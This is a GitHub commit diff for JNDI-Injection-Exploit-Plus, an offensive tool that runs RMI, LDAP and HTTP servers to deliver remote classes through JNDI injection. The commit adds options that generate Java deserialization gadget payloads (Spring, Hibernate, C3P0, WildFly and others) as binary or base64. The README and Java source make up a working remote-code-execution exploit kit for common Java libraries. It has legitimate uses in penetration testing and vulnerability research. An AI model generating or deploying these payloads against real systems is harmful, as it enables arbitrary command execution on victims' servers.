Skip to content

Commit 26102f5

Browse files
committed
add -D -O func
1 parent 19b04e5 commit 26102f5

File tree

6 files changed

+195
-38
lines changed

6 files changed

+195
-38
lines changed

README.md

Lines changed: 48 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -2,7 +2,7 @@
22

33
## Description
44

5-
JNDI-Injection-Exploit-Plus is a tool for generating workable JNDI links and provide background services by starting RMI server,LDAP server and HTTP server.
5+
JNDI-Injection-Exploit-Plus is a tool for generating **workable JNDI links** and provide background services by starting RMI server,LDAP server and HTTP server.
66

77
Using this tool allows you get JNDI links, you can insert these links into your **POC** to test vulnerability.
88

@@ -14,6 +14,8 @@ For example, this is a Fastjson vul-poc:
1414

1515
We can replace "rmi://127.0.0.1:1099/Object" with the link generated by JNDI-Injection-Exploit-Plus to test vulnerability.
1616

17+
What's more, you can also use JNDI-Injection-Exploit-Plus to **generate binary/base64 type of payloads** like [ysoserial](https://github.com/frohoff/ysoserial)
18+
1719
## More than [JNDI-Injection-Exploit](https://github.com/welk1n/JNDI-Injection-Exploit)
1820

1921
[JNDI-Injection-Exploit](https://github.com/welk1n/JNDI-Injection-Exploit) is a great tool, this is the plus version of it.
@@ -76,12 +78,20 @@ Vaadin1 |@kai_ullrich |vaadin-server:7.7.14, vaadin-s
7678
Wicket1 |@jacob-baines |wicket-util:6.23.0, slf4j-api:1.6.4
7779
WildFly1 |@hugow |org.wildfly:wildfly-connector:26.0.1.Final
7880

81+
#### 4. generate and export payloads
82+
83+
Like [ysoserial](https://github.com/frohoff/ysoserial).
84+
85+
You can generate the deserialization payloads with binary or base64 type of output
86+
7987
## Usage
8088

81-
Run as
89+
### JNDI Links
90+
91+
Run as
8292

8393
```shell
84-
$ java -jar JNDI-Injection-Exploit-Plus-1.1-SNAPSHOT-all.jar [-C] [command] [-A] [address]
94+
$ java -jar JNDI-Injection-Exploit-Plus-1.3-SNAPSHOT-all.jar [-C] [command] [-A] [address]
8595
```
8696

8797
where:
@@ -106,14 +116,32 @@ Points for attention:
106116

107117
**Command in bash like "bash -c ...." need to add Double quotes.**
108118

119+
### Deserialization Payloads
120+
121+
Run as
122+
123+
```shell
124+
$ java -jar JNDI-Injection-Exploit-Plus-1.3-SNAPSHOT-all.jar [-C] [command] [-D] [Gadget] [-O] [bin/base64]
125+
```
126+
127+
where:
128+
- **-C** - command executed in the remote classfile.
129+
130+
(optional , default command is "open /Applications/Calculator.app")
131+
132+
- **-D** - The deserial Gadget payload name.
133+
- **-O** - (Optional) The deserial output type, default is binary
134+
109135
## Examples
110136

111-
Local demo:
137+
### JNDI Links
138+
139+
Local demo:
112140

113141
1. Start the tool like this:
114142

115143
```shell
116-
$ java -jar JNDI-Injection-Exploit-Plus-1.1-SNAPSHOT-all.jar -C "/System/Applications/Calculator.app/Contents/MacOS/Calculator" -A "127.0.0.1"
144+
$ java -jar JNDI-Injection-Exploit-Plus-1.3-SNAPSHOT-all.jar -C "/System/Applications/Calculator.app/Contents/MacOS/Calculator" -A "127.0.0.1"
117145
```
118146

119147
Screenshot:
@@ -125,9 +153,11 @@ Points for attention:
125153
In this example, it looks like this:
126154

127155
```java
128-
public static void main(String[] args) throws Exception{
129-
InitialContext ctx = new InitialContext();
130-
ctx.lookup("rmi://127.0.0.1:1099/remoteExploit8");
156+
class Test{
157+
public static void main(String[] args) throws Exception{
158+
InitialContext ctx = new InitialContext();
159+
ctx.lookup("rmi://127.0.0.1:1099/remoteExploit8");
160+
}
131161
}
132162
```
133163

@@ -139,6 +169,16 @@ Points for attention:
139169

140170
For More Examples: [Test-JNDI-Injection-Exploit-Plus](https://github.com/cckuailong/Test-JNDI-Injection-Exploit-Plus)
141171

172+
### Deserialization Payloads
173+
174+
```shell
175+
$ java -jar JNDI-Injection-Exploit-Plus-1.3-SNAPSHOT-all.jar -C "/System/Applications/Calculator.app/Contents/MacOS/Calculator" -D "Spring2" -O base64
176+
```
177+
178+
Base64 Output Result:
179+
180+
![](./img/3.png)
181+
142182
## Installation
143183

144184
We can select one of the two methods to get the jar.

img/3.png

446 KB
Loading

pom.xml

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -6,7 +6,7 @@
66

77
<groupId>cckuailong</groupId>
88
<artifactId>JNDI-Injection-Exploit-Plus</artifactId>
9-
<version>1.2-SNAPSHOT</version>
9+
<version>1.3-SNAPSHOT</version>
1010

1111
<properties>
1212
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>

src/main/java/jndi/CommonDeserial.java

Lines changed: 29 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -15,8 +15,8 @@ public CommonDeserial(URL codebase, String command){
1515
}
1616

1717
public byte[] execByDeserialize(String gadgetType) throws Exception {
18-
byte[] bytes = null;
19-
System.out.println(gadgetType);
18+
byte[] bytes = {};
19+
// System.out.println(gadgetType);
2020
switch (gadgetType){
2121
case "CommonsBeanutils1":
2222
bytes = CommonsBeanutils1.getBytes(command);
@@ -61,7 +61,11 @@ public byte[] execByDeserialize(String gadgetType) throws Exception {
6161
bytes = BeanShell1.getBytes(command);
6262
break;
6363
case "C3P0":
64-
bytes = C3P0.getBytes(codebase);
64+
if (codebase != null){
65+
bytes = C3P0.getBytes(codebase);
66+
}else{
67+
System.out.println("Gadget " + gadgetType + "'s Payload Need to be URL(http/https)");
68+
}
6569
break;
6670
case "Click1":
6771
bytes = Click1.getBytes(command);
@@ -79,7 +83,11 @@ public byte[] execByDeserialize(String gadgetType) throws Exception {
7983
bytes = Hibernate1.getBytes(command);
8084
break;
8185
case "Hibernate2":
82-
bytes = Hibernate2.getBytes(codebase);
86+
if (codebase != null){
87+
bytes = Hibernate2.getBytes(codebase);
88+
}else{
89+
System.out.println("Gadget " + gadgetType + "'s Payload Need to be URL(http/https)");
90+
}
8391
break;
8492
case "JavassistWeld1":
8593
bytes = JavassistWeld1.getBytes(command);
@@ -103,7 +111,11 @@ public byte[] execByDeserialize(String gadgetType) throws Exception {
103111
bytes = Myfaces1.getBytes(command);
104112
break;
105113
case "Myfaces2":
106-
bytes = Myfaces2.getBytes(codebase);
114+
if (codebase != null){
115+
bytes = Myfaces2.getBytes(codebase);
116+
}else{
117+
System.out.println("Gadget " + gadgetType + "'s Payload Need to be URL(http/https)");
118+
}
107119
break;
108120
case "ROME1":
109121
bytes = ROME1.getBytes(command);
@@ -118,7 +130,11 @@ public byte[] execByDeserialize(String gadgetType) throws Exception {
118130
bytes = Spring2.getBytes(command);
119131
break;
120132
case "Spring3":
121-
bytes = Spring3.getBytes(codebase);
133+
if (codebase != null){
134+
bytes = Spring3.getBytes(codebase);
135+
}else{
136+
System.out.println("Gadget " + gadgetType + "'s Payload Need to be URL(http/https)");
137+
}
122138
break;
123139
case "URLDNS":
124140
bytes = URLDNS.getBytes(command);
@@ -130,13 +146,18 @@ public byte[] execByDeserialize(String gadgetType) throws Exception {
130146
bytes = Wicket1.getBytes(command);
131147
break;
132148
case "WildFly1":
133-
bytes = WildFly1.getBytes(codebase);
149+
if (codebase != null){
150+
bytes = WildFly1.getBytes(codebase);
151+
}else{
152+
System.out.println("Gadget " + gadgetType + "'s Payload Need to be URL(http/https)");
153+
}
134154
break;
135155

136156
default:
157+
System.out.println("No such Deserial Payload Name");
137158
break;
138159
}
139-
System.out.println("Base64 Payload: " + Base64.getEncoder().encodeToString(bytes));
160+
// System.out.println("Base64 Payload: " + Base64.getEncoder().encodeToString(bytes));
140161

141162
return bytes;
142163
}

src/main/java/run/ServerStart.java

Lines changed: 115 additions & 19 deletions
Original file line numberDiff line numberDiff line change
@@ -1,16 +1,23 @@
11
package run;
22

3+
import common.Strings;
34
import jetty.JettyServer;
5+
import jndi.CommonDeserial;
46
import jndi.LDAPRefServer;
57
import jndi.RMIRefServer;
68
import org.apache.commons.cli.*;
79
import org.apache.commons.lang3.StringUtils;
10+
import payloads.ObjectPayload;
11+
import payloads.annotation.Authors;
12+
import payloads.annotation.Dependencies;
813

14+
import java.io.ObjectOutputStream;
15+
import java.io.PrintStream;
16+
import java.io.PrintWriter;
917
import java.net.*;
1018
import java.text.DateFormat;
1119
import java.text.SimpleDateFormat;
12-
import java.util.Date;
13-
import java.util.Enumeration;
20+
import java.util.*;
1421

1522
import static util.Mapper.*;
1623

@@ -36,39 +43,87 @@ public static void main(String[] args) throws Exception{
3643

3744
CommandLineParser parser = new DefaultParser();
3845
CommandLine cmd = null;
46+
Options opts = null;
3947
//default command
4048
String[] cmdArray = {"open","/Applications/Calculator.app"};
49+
String deserial = "";
50+
String deserialOutput = "bin";
51+
4152

4253
try{
43-
cmd = parser.parse(cmdlineOptions(),args);
54+
opts = cmdlineOptions();
55+
cmd = parser.parse(opts, args);
4456
}catch (Exception e){
4557
System.err.println("Cmdlines parse failed.");
58+
printBasicUsage(opts);
4659
System.exit(1);
4760
}
48-
if(cmd.hasOption("C")) {
61+
if (cmd.hasOption("help")) {
62+
printBasicUsage(opts);
63+
return;
64+
}
65+
if (cmd.hasOption("C")) {
4966
cmdArray = cmd.getOptionValues('C');
5067
}
51-
if(cmd.hasOption("A")) {
68+
if (cmd.hasOption("A")) {
5269
addr = cmd.getOptionValue('A');
5370
}
71+
if (cmd.hasOption("D")) {
72+
deserial = cmd.getOptionValue('D');
73+
}
74+
if (cmd.hasOption("O")) {
75+
deserialOutput = cmd.getOptionValue('O');
76+
if(!(deserialOutput.equals("bin") || deserialOutput.equals("base64"))){
77+
System.out.println("Error in param -O, you can only select bin / base64");
78+
return;
79+
}
80+
}
5481

55-
ServerStart servers = new ServerStart(new URL("http://"+ addr +":"+ jettyPort +"/"),StringUtils.join(cmdArray," "));
56-
System.out.println("[rmiADDRESS] >> " + "rmi://" + addr + ":" + rmiPort);
57-
System.out.println("[ldapADDRESS] >> " + "rmi://" + addr + ":" + ldapPort);
58-
System.out.println("[COMMAND] >> " + withColor(StringUtils.join(cmdArray," "),ANSI_BLUE));
59-
Class.forName("util.Mapper");
82+
if (deserial.length() == 0) {
83+
ServerStart servers = new ServerStart(new URL("http://"+ addr +":"+ jettyPort +"/"),StringUtils.join(cmdArray," "));
84+
System.out.println("[rmiADDRESS] >> " + "rmi://" + addr + ":" + rmiPort);
85+
System.out.println("[ldapADDRESS] >> " + "rmi://" + addr + ":" + ldapPort);
86+
System.out.println("[COMMAND] >> " + withColor(StringUtils.join(cmdArray," "),ANSI_BLUE));
87+
Class.forName("util.Mapper");
6088

61-
System.out.println("----------------------------Server Log----------------------------");
62-
System.out.println(getLocalTime() + " [JETTYSERVER]>> Listening on 0.0.0.0:" + jettyPort);
63-
Thread threadJetty = new Thread(servers.jettyServer);
64-
threadJetty.start();
89+
System.out.println("----------------------------Server Log----------------------------");
90+
System.out.println(getLocalTime() + " [JETTYSERVER]>> Listening on 0.0.0.0:" + jettyPort);
91+
Thread threadJetty = new Thread(servers.jettyServer);
92+
threadJetty.start();
6593

66-
System.out.println(getLocalTime() + " [RMISERVER] >> Listening on 0.0.0.0:" + rmiPort);
67-
Thread threadRMI = new Thread(servers.rmiRefServer);
68-
threadRMI.start();
94+
System.out.println(getLocalTime() + " [RMISERVER] >> Listening on 0.0.0.0:" + rmiPort);
95+
Thread threadRMI = new Thread(servers.rmiRefServer);
96+
threadRMI.start();
6997

70-
Thread threadLDAP = new Thread(servers.ldapRefServer);
71-
threadLDAP.start();
98+
Thread threadLDAP = new Thread(servers.ldapRefServer);
99+
threadLDAP.start();
100+
}
101+
else{
102+
String cmdStr = String.join(" ", cmdArray);
103+
URL codebase;
104+
if (cmdStr.startsWith("http")){
105+
codebase = new URL(cmdStr);
106+
}else{
107+
codebase = null;
108+
}
109+
CommonDeserial commonDeserial = new CommonDeserial(codebase, cmdStr);
110+
byte[] deserialBytes = commonDeserial.execByDeserialize(deserial);
111+
if (deserialBytes.length == 0) {
112+
System.out.println("Error in Deserialization, Please use the correct payload name.");
113+
printDeserialUsage();
114+
return;
115+
}
116+
if (deserialOutput.equals("bin")) {
117+
PrintStream out = System.out;
118+
final ObjectOutputStream objOut = new ObjectOutputStream(out);
119+
objOut.writeObject(deserialBytes);
120+
}
121+
else if (deserialOutput.equals("base64")){
122+
System.out.print(Base64.getEncoder().encodeToString(deserialBytes));
123+
}else{
124+
System.out.println("Error in param -O, you can only select bin / base64");
125+
}
126+
}
72127

73128
}
74129

@@ -90,11 +145,18 @@ public ServerStart(URL codebase, String cmd) throws Exception{
90145

91146
public static Options cmdlineOptions(){
92147
Options opts = new Options();
148+
Option help = new Option("help",false,"Show the help info.");
149+
opts.addOption(help);
93150
Option c = new Option("C",true,"The command executed in remote .class.");
94151
c.setArgs(Option.UNLIMITED_VALUES);
95152
opts.addOption(c);
96153
Option addr = new Option("A",true,"The address of server(ip or domain).");
97154
opts.addOption(addr);
155+
Option deserial = new Option("D",true,"The deserial payload name");
156+
opts.addOption(deserial);
157+
Option deserialOutput = new Option("O",true,"The deserial output type, default is bin");
158+
opts.addOption(deserialOutput);
159+
98160
return opts;
99161
}
100162

@@ -143,4 +205,38 @@ public static String withColor(String str,String color){
143205
return str;
144206
}
145207

208+
private static void printBasicUsage(Options opts){
209+
System.out.println();
210+
HelpFormatter formatter = new HelpFormatter();
211+
formatter.printHelp("Have fun with JNDI-Injection-Exploit-Plus", opts);
212+
System.out.println();
213+
printDeserialUsage();
214+
}
215+
216+
private static void printDeserialUsage() {
217+
System.out.println();
218+
System.out.println("JNDI-Injection-Exploit-Plus Available Deserialization Payloads:");
219+
220+
final List<Class<? extends ObjectPayload>> payloadClasses =
221+
new ArrayList<Class<? extends ObjectPayload>>(ObjectPayload.Utils.getPayloadClasses());
222+
Collections.sort(payloadClasses, new Strings.ToStringComparator()); // alphabetize
223+
224+
final List<String[]> rows = new LinkedList<String[]>();
225+
rows.add(new String[] {"Payload", "Authors", "Dependencies"});
226+
rows.add(new String[] {"-------", "-------", "------------"});
227+
for (Class<? extends ObjectPayload> payloadClass : payloadClasses) {
228+
rows.add(new String[] {
229+
payloadClass.getSimpleName(),
230+
Strings.join(Arrays.asList(Authors.Utils.getAuthors(payloadClass)), ", ", "@", ""),
231+
Strings.join(Arrays.asList(Dependencies.Utils.getDependenciesSimple(payloadClass)),", ", "", "")
232+
});
233+
}
234+
235+
final List<String> lines = Strings.formatTable(rows);
236+
237+
for (String line : lines) {
238+
System.err.println(" " + line);
239+
}
240+
}
241+
146242
}

0 commit comments

Comments
 (0)